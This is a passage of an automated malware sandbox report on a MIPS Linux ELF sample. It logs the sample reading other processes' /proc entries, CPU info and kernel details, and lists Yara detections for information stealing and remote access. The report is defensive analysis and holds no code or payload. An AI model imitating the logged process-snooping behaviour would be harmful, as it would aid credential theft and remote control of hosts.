Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3402/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3125/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3125/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3125/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3246/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3246/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3246/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3245/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3245/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3245/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/767/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/767/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/767/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/800/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/800/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/800/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/888/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/888/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/888/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3762/cmdline Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3762/maps Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5500) File opened: /proc/3762/exe Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5496) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/thread_siblings_list Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5496) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/thread_siblings_list Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5494) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5510) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5511) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5512) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5513) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5514) Queries kernel information via 'uname': Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5515) Queries kernel information via 'uname': Jump to behavior
Source: RjeN8EvCIF.elf, 5494.1.000055949e05b000.000055949e0e2000.rw-.sdmp, RjeN8EvCIF.elf, 5498.1.000055949e05b000.000055949e0e2000.rw-.sdmp, RjeN8EvCIF.elf, 5502.1.000055949e05b000.000055949e0e2000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: RjeN8EvCIF.elf, 5494.1.00007fffa3345000.00007fffa3366000.rw-.sdmp, RjeN8EvCIF.elf, 5498.1.00007fffa3345000.00007fffa3366000.rw-.sdmp, RjeN8EvCIF.elf, 5502.1.00007fffa3345000.00007fffa3366000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/RjeN8EvCIF.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/RjeN8EvCIF.elf
Source: RjeN8EvCIF.elf, 5494.1.000055949e05b000.000055949e0e2000.rw-.sdmp, RjeN8EvCIF.elf, 5498.1.000055949e05b000.000055949e0e2000.rw-.sdmp, RjeN8EvCIF.elf, 5502.1.000055949e05b000.000055949e0e2000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: RjeN8EvCIF.elf, 5494.1.00007fffa3345000.00007fffa3366000.rw-.sdmp, RjeN8EvCIF.elf, 5498.1.00007fffa3345000.00007fffa3366000.rw-.sdmp, RjeN8EvCIF.elf, 5502.1.00007fffa3345000.00007fffa3366000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information

barindex
Source: Yara match File source: RjeN8EvCIF.elf, type: SAMPLE
Source: Yara match File source: 5498.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5494.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5502.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5494, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5498, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5502, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: RjeN8EvCIF.elf, type: SAMPLE
Source: Yara match File source: 5498.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5494.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5502.1.00007f6398400000.00007f6398423000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5494, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5498, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RjeN8EvCIF.elf PID: 5502, type: MEMORYSTR